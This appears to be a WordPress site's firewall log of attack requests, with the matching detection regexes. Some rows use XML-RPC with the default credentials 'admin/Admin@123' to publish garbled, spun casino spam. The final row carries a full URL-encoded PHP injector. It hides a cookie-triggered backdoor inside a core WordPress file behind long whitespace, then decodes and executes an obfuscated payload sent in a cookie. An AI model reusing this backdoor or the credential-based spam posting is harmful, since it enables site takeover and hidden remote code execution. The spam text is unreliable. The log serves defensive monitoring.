games.<\/p>\n<img src=\"https:\/\/media.tacdn.com\/media\/attractions-splice-spp-674x446\/11\/82\/05\/53.jpg\" alt=\"no deposit casino bonus keep what you win\" align=\"left\" border=\"1\">\n<p>Subscribe all of our publication to find WSN's newest hand-on the analysis, expert advice, and you can exclusive now offers introduced right to their email. The commitment to their protection exceeds the newest video game; i consist of in charge playing tips to your that which we do in order to be sure the feel remains enjoyable and you may safer. With more than twenty years of industry sense and several 40  experts, we provide sincere, \"benefits and drawbacks\" analysis concentrated purely for the legal, US-subscribed gambling enterprises. We don't merely number incentives; i try him or her. Because of this professionals may not have an identical courtroom protections or recourse if the one thing fails. It mixture of frequent have and strong RTP helps it be a good credible selection for fulfilling wagering conditions.<\/p>\n<p>A trusted community leader and you can the place to find one of the greatest no-deposit incentive online casino offers currently available in the us. The internet casinos you can expect are all examined, thus you don't need to love cons and scam. It is well worth listing you to definitely some gambling enterprises often instantly give her or him to help you the new people after they find yourself undertaking a free account. Immediately after verified, the brand new 100 percent free spins usually are paid on the player's account immediately or after they allege the advantage because of a designated processes in depth because of the gambling establishment. Of a lot professionals choose 100 percent free bonus money, as they possibly can gamble a larger set of games using them.<\/p>\n<p>Specific gambling enterprises wanted a deposit to help you process distributions whether or not zero betting applies. Responsible playing is a key needs anyway registered You.S. casinos on the internet. Particular gambling enterprises as well as award support items made due to no-deposit enjoy, adding to upcoming rewards.<\/p>\n<img src=\"https:\/\/sunmakercasino.com\/wp-content\/uploads\/2019\/09\/sunmaker-770px.png\" alt=\"no deposit bonus trada casino\" border=\"0\" align=\"left\">\n<p>Let’s state an internet casino offers 20 zero-put 100 percent free spins indication-up bonus on the NetEnt‘s Starburst position. To really make the the majority of no-put 100 percent free revolves, participants need to to find incentives having lowest betting standards and you can large restrict earn limits. A real income free revolves appear at all online casinos in which position game come.<\/p>]]><\/value><\/member>\t  \r\n\t\t  <member><name>post_date_gmt<\/name>\r\n            <value><dateTime.iso8601>20260512T12:51:56<\/dateTime.iso8601><\/value><\/member>\r\n\t\t  <member><name>post_name<\/name>\r\n            <value><![CDATA[totally-free-revolves-no-deposit-2026-️step-one,000 -bonus-revolves]]><\/value><\/member>\r\n          \r\n        <\/struct>\r\n      <\/value>\r\n    <\/param>\r\n  <\/params>\r\n<\/methodCall>","POST \/xmlrpc.php HTTP\/1.1\ncontent-type:text\/xml; charset=utf-8\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/114.0.0.0 Safari\/537.36\nhost:dewenlabels.com\ncontent-length:7362\nconnection:Close\n\n<?xml version=\"1.0\" encoding=\"UTF-8\"?>\r\n<methodCall>\r\n  <methodName>wp.newPost<\/methodName>\r\n  <params>\r\n    <param><value>1<\/value><\/param>\r\n    <param><value>admin<\/value><\/param>\r\n    <param><value>Admin@123<\/value><\/param>\r\n    <param>\r\n      <value>\r\n        <struct>\r\n          <member><name>post_type<\/name>\r\n            <value>post<\/value><\/member>\r\n\t\t  <member><name>post_status<\/name>\r\n            <value>publish<\/value><\/member>\r\n\t\t  <member><name>post_title<\/name>\r\n            <value><![CDATA[Totally free Revolves No deposit 2026 ️step one,000  Bonus Revolves]]><\/value><\/member>\r\n\t\t  <member><name>post_content<\/name>\r\n            <value><![CDATA[<div id=\"toc\" style=\"background: #f9f9f9;border: 1px solid #aaa;display: table;margin-bottom: 1em;padding: 1em;width: 350px;\"><p class=\"toctitle\" style=\"font-weight: 700;text-align: center;\">Articles<\/p><ul class=\"toc_list\"><li><a href=\"#toc-0\">Almost every other Free Revolves Bonuses in order to Allege<\/a><\/li><li><a href=\"#toc-1\">Discover Personal Casino Sale!<\/a><\/li><\/ul><\/div>\n<p>It’s not a secret you to no deposit incentives are primarily for new players. Learn the finest gambling enterprises with no wagering bonuses. In the our leading online casinos, the brand new excitement never closes—your following prize could be just a go away! <!--more--> Think everyday totally free revolves, reload incentives, otherwise personal usage of the new slot releases that have added bonus spins to give them a go aside.<\/p>\r\n<h2 id=\"toc-0\">Almost every other Free Revolves Bonuses in order to Allege<\/h2>\n<p>Over your’ll discover our newest list of the most generous and you will credible no-deposit now offers readily available today. No matter where you gamble of, Canada, The newest Zealand, great britain, otherwise Europe, this guide makes it possible to come across safer, subscribed casinos that permit your gamble instantly, instead of investing a penny. Casinority is another opinion webpages in the online casino specific niche. Usually make sure you adhere to all of the relevant laws and regulations just before engaging with people on-line casino.<\/p>\r\n<h2 id=\"toc-1\">Discover Personal Casino Sale!<\/h2>\n<p>Any profits away from Incentive Spins might possibly be additional while the Extra Financing. You can find wagering criteria to show Extra Money to the Cash Finance. When you yourself have showed up in this post perhaps not via the appointed render away from Primecasino you would not be eligible for the deal. Abnormal enjoy can result in elimination of bonus. Rating £dos.00 (ten x 20p) Rainbow Wealth slot extra. Bonuses do not prevent withdrawing deposit harmony.<\/p>\r\n<ul><li>From the Fanatics Gambling enterprise, We gotten twenty-five totally free spins at the Arthur Pendragon after joining, and exclusive advantages as the a current athlete perhaps not on the promo web page.<\/li><li>Legislators attempted again inside the 2023, wager and get rid of by opening the new betting information loss on the My Account element of your internet account.<\/li><li>Attracting on the numerous years of level Las vegas, the guy shows the newest fashion you to definitely drive gaming conclusion across the America.<\/li><li>Simply including you're adequate, and no deposit is required.<\/li><li>Max withdrawable earnings £\/€300.<\/li><li>The 100 percent free spin no deposit added bonus you to we've got demanded here, when it has 30 free spins, sixty free spins, or over 100 revolves, has fine print that you should esteem and you may learn.<\/li><\/ul>\n<p>While you are local casino no-put incentives enable it to be participants first off without using their particular currency, wagering standards and you can put expected real cash regulations nonetheless pertain prior to withdrawals is accepted. Most online casinos, for example that have <a href=\"https:\/\/casinolead.ca\/online-casino-canada-legal\/\">https:\/\/casinolead.ca\/online-casino-canada-legal\/<\/a> BetMGM, require a deposit only to ensure payment facts before detachment, even if the gambling establishment incentives on their own does not require wagering which have real money. DraftKings Local casino is targeted on deposit-dependent greeting also offers one refund losses that have extra loans and free revolves on the web slot games.<\/p>\n<img src=\"https:\/\/media.tacdn.com\/media\/attractions-splice-spp-674x446\/11\/82\/05\/53.jpg\" alt=\"no deposit casino bonus keep what you win\" align=\"left\" border=\"1\">\n<p>Subscribe all of our publication to find WSN's newest hand-on the analysis, expert advice, and you can exclusive now offers introduced right to their email. The commitment to their protection exceeds the newest video game; i consist of in charge playing tips to your that which we do in order to be sure the feel remains enjoyable and you may safer. With more than twenty years of industry sense and several 40  experts, we provide sincere, \"benefits and drawbacks\" analysis concentrated purely for the legal, US-subscribed gambling enterprises. We don't merely number incentives; i try him or her. Because of this professionals may not have an identical courtroom protections or recourse if the one thing fails. It mixture of frequent have and strong RTP helps it be a good credible selection for fulfilling wagering conditions.<\/p>\n<p>A trusted community leader and you can the place to find one of the greatest no-deposit incentive online casino offers currently available in the us. The internet casinos you can expect are all examined, thus you don't need to love cons and scam. It is well worth listing you to definitely some gambling enterprises often instantly give her or him to help you the new people after they find yourself undertaking a free account. Immediately after verified, the brand new 100 percent free spins usually are paid on the player's account immediately or after they allege the advantage because of a designated processes in depth because of the gambling establishment. Of a lot professionals choose 100 percent free bonus money, as they possibly can gamble a larger set of games using them.<\/p>\n<p>Specific gambling enterprises wanted a deposit to help you process distributions whether or not zero betting applies. Responsible playing is a key needs anyway registered You.S. casinos on the internet. Particular gambling enterprises as well as award support items made due to no-deposit enjoy, adding to upcoming rewards.<\/p>\n<img src=\"https:\/\/sunmakercasino.com\/wp-content\/uploads\/2019\/09\/sunmaker-770px.png\" alt=\"no deposit bonus trada casino\" border=\"0\" align=\"left\">\n<p>Let’s state an internet casino offers 20 zero-put 100 percent free spins indication-up bonus on the NetEnt‘s Starburst position. To really make the the majority of no-put 100 percent free revolves, participants need to to find incentives having lowest betting standards and you can large restrict earn limits. A real income free revolves appear at all online casinos in which position game come.<\/p>]]><\/value><\/member>\t  \r\n\t\t  <member><name>post_date_gmt<\/name>\r\n            <value><dateTime.iso8601>20260512T12:51:56<\/dateTime.iso8601><\/value><\/member>\r\n\t\t  <member><name>post_name<\/name>\r\n            <value><![CDATA[totally-free-revolves-no-deposit-2026-️step-one,000 -bonus-revolves]]><\/value><\/member>\r\n          \r\n        <\/struct>\r\n      <\/value>\r\n    <\/param>\r\n  <\/params>\r\n<\/methodCall>"]
["2026-05-12 20:51:59","156.59.62.165","POST","\/xmlrpc.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/114.0.0.0 Safari\/537.36","post","select.+(from|limit) >> <?xml version:\"1.0\"?>\r\n<methodCall>\r\n<methodName>metaWeblog.newPost<\/methodName>\r\n<params>\r\n<param><value><array><data>\r\n  <value><int>0<\/int><\/value>\r\n  <value><string>admin<\/string><\/value>\r\n  <value><string>Admin@123<\/string><\/value>\r\n  <value><struct>\r\n  <member><name>title<\/name><value><![CDATA[Totally free Revolves No deposit 2026 ️step one,000  Bonus Revolves]]><\/value><\/member>\r\n  <member><name>description<\/name><value><![CDATA[<div id=\"toc\" style=\"background: #f9f9f9;border: 1px solid #aaa;display: table;margin-bottom: 1em;padding: 1em;width: 350px;\"><p class=\"toctitle\" style=\"font-weight: 700;text-align: center;\">Articles<\/p><ul class=\"toc_list\"><li><a href=\"#toc-0\">Almost every other Free Revolves Bonuses in order to Allege<\/a><\/li><li><a href=\"#toc-1\">Discover Personal Casino Sale!<\/a><\/li><\/ul><\/div>\n<p>It’s not a secret you to no deposit incentives are primarily for new players. Learn the finest gambling enterprises with no wagering bonuses. In the our leading online casinos, the brand new excitement never closes—your following prize could be just a go away! <!--more--> Think everyday totally free revolves, reload incentives, otherwise personal usage of the new slot releases that have added bonus spins to give them a go aside.<\/p>\r\n<h2 id=\"toc-0\">Almost every other Free Revolves Bonuses in order to Allege<\/h2>\n<p>Over your’ll discover our newest list of the most generous and you will credible no-deposit now offers readily available today. No matter where you gamble of, Canada, The newest Zealand, great britain, otherwise Europe, this guide makes it possible to come across safer, subscribed casinos that permit your gamble instantly, instead of investing a penny. Casinority is another opinion webpages in the online casino specific niche. Usually make sure you adhere to all of the relevant laws and regulations just before engaging with people on-line casino.<\/p>\r\n<h2 id=\"toc-1\">Discover Personal Casino Sale!<\/h2>\n<p>Any profits away from Incentive Spins might possibly be additional while the Extra Financing. You can find wagering criteria to show Extra Money to the Cash Finance. When you yourself have showed up in this post perhaps not via the appointed render away from Primecasino you would not be eligible for the deal. Abnormal enjoy can result in elimination of bonus. Rating £dos.00 (ten x 20p) Rainbow Wealth slot extra. Bonuses do not prevent withdrawing deposit harmony.<\/p>\r\n<ul><li>From the Fanatics Gambling enterprise, We gotten twenty-five totally free spins at the Arthur Pendragon after joining, and exclusive advantages as the a current athlete perhaps not on the promo web page.<\/li><li>Legislators attempted again inside the 2023, wager and get rid of by opening the new betting information loss on the My Account element of your internet account.<\/li><li>Attracting on the numerous years of level Las vegas, the guy shows the newest fashion you to definitely drive gaming conclusion across the America.<\/li><li>Simply including you're adequate, and no deposit is required.<\/li><li>Max withdrawable earnings £\/€300.<\/li><li>The 100 percent free spin no deposit added bonus you to we've got demanded here, when it has 30 free spins, sixty free spins, or over 100 revolves, has fine print that you should esteem and you may learn.<\/li><\/ul>\n<p>While you are local casino no-put incentives enable it to be participants first off without using their particular currency, wagering standards and you can put expected real cash regulations nonetheless pertain prior to withdrawals is accepted. Most online casinos, for example that have <a href=\"https:\/\/casinolead.ca\/online-casino-canada-legal\/\">https:\/\/casinolead.ca\/online-casino-canada-legal\/<\/a> BetMGM, require a deposit only to ensure payment facts before detachment, even if the gambling establishment incentives on their own does not require wagering which have real money. DraftKings Local casino is targeted on deposit-dependent greeting also offers one refund losses that have extra loans and free revolves on the web slot games.<\/p>\n<img src=\"https:\/\/media.tacdn.com\/media\/attractions-splice-spp-674x446\/11\/82\/05\/53.jpg\" alt=\"no deposit casino bonus keep what you win\" align=\"left\" border=\"1\">\n<p>Subscribe all of our publication to find WSN's newest hand-on the analysis, expert advice, and you can exclusive now offers introduced right to their email. The commitment to their protection exceeds the newest video game; i consist of in charge playing tips to your that which we do in order to be sure the feel remains enjoyable and you may safer. With more than twenty years of industry sense and several 40  experts, we provide sincere, \"benefits and drawbacks\" analysis concentrated purely for the legal, US-subscribed gambling enterprises. We don't merely number incentives; i try him or her. Because of this professionals may not have an identical courtroom protections or recourse if the one thing fails. It mixture of frequent have and strong RTP helps it be a good credible selection for fulfilling wagering conditions.<\/p>\n<p>A trusted community leader and you can the place to find one of the greatest no-deposit incentive online casino offers currently available in the us. The internet casinos you can expect are all examined, thus you don't need to love cons and scam. It is well worth listing you to definitely some gambling enterprises often instantly give her or him to help you the new people after they find yourself undertaking a free account. Immediately after verified, the brand new 100 percent free spins usually are paid on the player's account immediately or after they allege the advantage because of a designated processes in depth because of the gambling establishment. Of a lot professionals choose 100 percent free bonus money, as they possibly can gamble a larger set of games using them.<\/p>\n<p>Specific gambling enterprises wanted a deposit to help you process distributions whether or not zero betting applies. Responsible playing is a key needs anyway registered You.S. casinos on the internet. Particular gambling enterprises as well as award support items made due to no-deposit enjoy, adding to upcoming rewards.<\/p>\n<img src=\"https:\/\/sunmakercasino.com\/wp-content\/uploads\/2019\/09\/sunmaker-770px.png\" alt=\"no deposit bonus trada casino\" border=\"0\" align=\"left\">\n<p>Let’s state an internet casino offers 20 zero-put 100 percent free spins indication-up bonus on the NetEnt‘s Starburst position. To really make the the majority of no-put 100 percent free revolves, participants need to to find incentives having lowest betting standards and you can large restrict earn limits. A real income free revolves appear at all online casinos in which position game come.<\/p>]]><\/value><\/member>\r\n  <member><name>dateCreated<\/name><value><dateTime.iso8601>20260512T12:51:57<\/dateTime.iso8601><\/value><\/member>\r\n  <member><name>mt_allow_comments<\/name><value><int>0<\/int><\/value><\/member>\r\n  <member><name>mt_allow_pings<\/name><value><int>0<\/int><\/value><\/member>\r\n  <member><name>post_type<\/name><value><string>post<\/string><\/value><\/member>\r\n  <member><name>mt_keywords<\/name><value><string><\/string><\/value><\/member>\r\n  \r\n  <member><name>custom_fields<\/name><value><array><data>\r\n  <value><string><\/string><\/value>\r\n<\/data><\/array><\/value><\/member>\r\n<\/struct><\/value>\r\n  <value><boolean>1<\/boolean><\/value>\r\n<\/data><\/array><\/value><\/param>\r\n<\/params><\/methodCall>","POST \/xmlrpc.php HTTP\/1.1\ncontent-type:text\/xml; charset=utf-8\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/114.0.0.0 Safari\/537.36\nhost:dewenlabels.com\ncontent-length:7431\nconnection:Close\n\n<?xml version=\"1.0\"?>\r\n<methodCall>\r\n<methodName>metaWeblog.newPost<\/methodName>\r\n<params>\r\n<param><value><array><data>\r\n  <value><int>0<\/int><\/value>\r\n  <value><string>admin<\/string><\/value>\r\n  <value><string>Admin@123<\/string><\/value>\r\n  <value><struct>\r\n  <member><name>title<\/name><value><![CDATA[Totally free Revolves No deposit 2026 ️step one,000  Bonus Revolves]]><\/value><\/member>\r\n  <member><name>description<\/name><value><![CDATA[<div id=\"toc\" style=\"background: #f9f9f9;border: 1px solid #aaa;display: table;margin-bottom: 1em;padding: 1em;width: 350px;\"><p class=\"toctitle\" style=\"font-weight: 700;text-align: center;\">Articles<\/p><ul class=\"toc_list\"><li><a href=\"#toc-0\">Almost every other Free Revolves Bonuses in order to Allege<\/a><\/li><li><a href=\"#toc-1\">Discover Personal Casino Sale!<\/a><\/li><\/ul><\/div>\n<p>It’s not a secret you to no deposit incentives are primarily for new players. Learn the finest gambling enterprises with no wagering bonuses. In the our leading online casinos, the brand new excitement never closes—your following prize could be just a go away! <!--more--> Think everyday totally free revolves, reload incentives, otherwise personal usage of the new slot releases that have added bonus spins to give them a go aside.<\/p>\r\n<h2 id=\"toc-0\">Almost every other Free Revolves Bonuses in order to Allege<\/h2>\n<p>Over your’ll discover our newest list of the most generous and you will credible no-deposit now offers readily available today. No matter where you gamble of, Canada, The newest Zealand, great britain, otherwise Europe, this guide makes it possible to come across safer, subscribed casinos that permit your gamble instantly, instead of investing a penny. Casinority is another opinion webpages in the online casino specific niche. Usually make sure you adhere to all of the relevant laws and regulations just before engaging with people on-line casino.<\/p>\r\n<h2 id=\"toc-1\">Discover Personal Casino Sale!<\/h2>\n<p>Any profits away from Incentive Spins might possibly be additional while the Extra Financing. You can find wagering criteria to show Extra Money to the Cash Finance. When you yourself have showed up in this post perhaps not via the appointed render away from Primecasino you would not be eligible for the deal. Abnormal enjoy can result in elimination of bonus. Rating £dos.00 (ten x 20p) Rainbow Wealth slot extra. Bonuses do not prevent withdrawing deposit harmony.<\/p>\r\n<ul><li>From the Fanatics Gambling enterprise, We gotten twenty-five totally free spins at the Arthur Pendragon after joining, and exclusive advantages as the a current athlete perhaps not on the promo web page.<\/li><li>Legislators attempted again inside the 2023, wager and get rid of by opening the new betting information loss on the My Account element of your internet account.<\/li><li>Attracting on the numerous years of level Las vegas, the guy shows the newest fashion you to definitely drive gaming conclusion across the America.<\/li><li>Simply including you're adequate, and no deposit is required.<\/li><li>Max withdrawable earnings £\/€300.<\/li><li>The 100 percent free spin no deposit added bonus you to we've got demanded here, when it has 30 free spins, sixty free spins, or over 100 revolves, has fine print that you should esteem and you may learn.<\/li><\/ul>\n<p>While you are local casino no-put incentives enable it to be participants first off without using their particular currency, wagering standards and you can put expected real cash regulations nonetheless pertain prior to withdrawals is accepted. Most online casinos, for example that have <a href=\"https:\/\/casinolead.ca\/online-casino-canada-legal\/\">https:\/\/casinolead.ca\/online-casino-canada-legal\/<\/a> BetMGM, require a deposit only to ensure payment facts before detachment, even if the gambling establishment incentives on their own does not require wagering which have real money. DraftKings Local casino is targeted on deposit-dependent greeting also offers one refund losses that have extra loans and free revolves on the web slot games.<\/p>\n<img src=\"https:\/\/media.tacdn.com\/media\/attractions-splice-spp-674x446\/11\/82\/05\/53.jpg\" alt=\"no deposit casino bonus keep what you win\" align=\"left\" border=\"1\">\n<p>Subscribe all of our publication to find WSN's newest hand-on the analysis, expert advice, and you can exclusive now offers introduced right to their email. The commitment to their protection exceeds the newest video game; i consist of in charge playing tips to your that which we do in order to be sure the feel remains enjoyable and you may safer. With more than twenty years of industry sense and several 40  experts, we provide sincere, \"benefits and drawbacks\" analysis concentrated purely for the legal, US-subscribed gambling enterprises. We don't merely number incentives; i try him or her. Because of this professionals may not have an identical courtroom protections or recourse if the one thing fails. It mixture of frequent have and strong RTP helps it be a good credible selection for fulfilling wagering conditions.<\/p>\n<p>A trusted community leader and you can the place to find one of the greatest no-deposit incentive online casino offers currently available in the us. The internet casinos you can expect are all examined, thus you don't need to love cons and scam. It is well worth listing you to definitely some gambling enterprises often instantly give her or him to help you the new people after they find yourself undertaking a free account. Immediately after verified, the brand new 100 percent free spins usually are paid on the player's account immediately or after they allege the advantage because of a designated processes in depth because of the gambling establishment. Of a lot professionals choose 100 percent free bonus money, as they possibly can gamble a larger set of games using them.<\/p>\n<p>Specific gambling enterprises wanted a deposit to help you process distributions whether or not zero betting applies. Responsible playing is a key needs anyway registered You.S. casinos on the internet. Particular gambling enterprises as well as award support items made due to no-deposit enjoy, adding to upcoming rewards.<\/p>\n<img src=\"https:\/\/sunmakercasino.com\/wp-content\/uploads\/2019\/09\/sunmaker-770px.png\" alt=\"no deposit bonus trada casino\" border=\"0\" align=\"left\">\n<p>Let’s state an internet casino offers 20 zero-put 100 percent free spins indication-up bonus on the NetEnt‘s Starburst position. To really make the the majority of no-put 100 percent free revolves, participants need to to find incentives having lowest betting standards and you can large restrict earn limits. A real income free revolves appear at all online casinos in which position game come.<\/p>]]><\/value><\/member>\r\n  <member><name>dateCreated<\/name><value><dateTime.iso8601>20260512T12:51:57<\/dateTime.iso8601><\/value><\/member>\r\n  <member><name>mt_allow_comments<\/name><value><int>0<\/int><\/value><\/member>\r\n  <member><name>mt_allow_pings<\/name><value><int>0<\/int><\/value><\/member>\r\n  <member><name>post_type<\/name><value><string>post<\/string><\/value><\/member>\r\n  <member><name>mt_keywords<\/name><value><string><\/string><\/value><\/member>\r\n  \r\n  <member><name>custom_fields<\/name><value><array><data>\r\n  <value><string><\/string><\/value>\r\n<\/data><\/array><\/value><\/member>\r\n<\/struct><\/value>\r\n  <value><boolean>1<\/boolean><\/value>\r\n<\/data><\/array><\/value><\/param>\r\n<\/params><\/methodCall>"]
["2026-05-12 20:53:04","50.6.7.129","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/104.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Ed:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/IXR\/class-IXR-request.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B-10%252B10%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-14%252B15%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B68-65%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B30%252B-26%255D%2529%2529%2520%257B%2520%2524resource%2520%253D%2520%2524_COOKIE%253B%2520function%2520dataflow_engine%2528%2524value%2529%2520%257B%2520%2524resource%2520%253D%2520%2524_COOKIE%253B%2520%2524itm%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%25278a1cc38b%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524itm%2529%2529%2520%257B%2520%2524itm%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522unit_converter%2522%253B%2520%257D%2520%2524hld%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%2520%2522%2520.%2520base64_decode%2528str_rot13%2528%2524resource%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524itm%2529%2529%2520%257B%2520%2524sym%2520%253D%2520fopen%2528%2524itm%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524sym%252C%2520%2524hld%2529%253B%2520fclose%2528%2524sym%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524itm%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524itm%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522dataflow_engine%2522%2529%253B%2520%2524factor%2520%253D%2520%2522071bd2eff294360b719028e6e17650c4%2522%253B%2520if%2520%2528%2521strncmp%2528%2524factor%252C%2520%2524resource%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522system_core_service_registry%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nsec-fetch-user:?1\ncookie:4=ce288246c7d2df0454c666077eb603cf; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvEJDvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaWznJ5xVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nsec-fetch-dest:document\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/104.0.0.0 Safari\/537.36\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-type:application\/x-www-form-urlencoded\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-ch-ua-mobile:?0\naccept:*\/*\nsec-ch-ua-platform:\"Windows\"\nupgrade-insecure-requests:1\ncontent-length:4307\naccept-encoding:gzip,deflate\nsec-fetch-site:none\nsec-ch-ua:\"Chromium\";v=\"104\", \" Not A;Brand\";v=\"99\", \"Google Chrome\";v=\"104\"\nsec-fetch-mode:navigate\n\nEd=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/IXR\/class-IXR-request.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B-10%252B10%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-14%252B15%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B68-65%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B30%252B-26%255D%2529%2529%2520%257B%2520%2524resource%2520%253D%2520%2524_COOKIE%253B%2520function%2520dataflow_engine%2528%2524value%2529%2520%257B%2520%2524resource%2520%253D%2520%2524_COOKIE%253B%2520%2524itm%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%25278a1cc38b%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524itm%2529%2529%2520%257B%2520%2524itm%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522unit_converter%2522%253B%2520%257D%2520%2524hld%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%2520%2522%2520.%2520base64_decode%2528str_rot13%2528%2524resource%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524itm%2529%2529%2520%257B%2520%2524sym%2520%253D%2520fopen%2528%2524itm%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524sym%252C%2520%2524hld%2529%253B%2520fclose%2528%2524sym%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524itm%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524itm%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522dataflow_engine%2522%2529%253B%2520%2524factor%2520%253D%2520%2522071bd2eff294360b719028e6e17650c4%2522%253B%2520if%2520%2528%2521strncmp%2528%2524factor%252C%2520%2524resource%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522system_core_service_registry%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20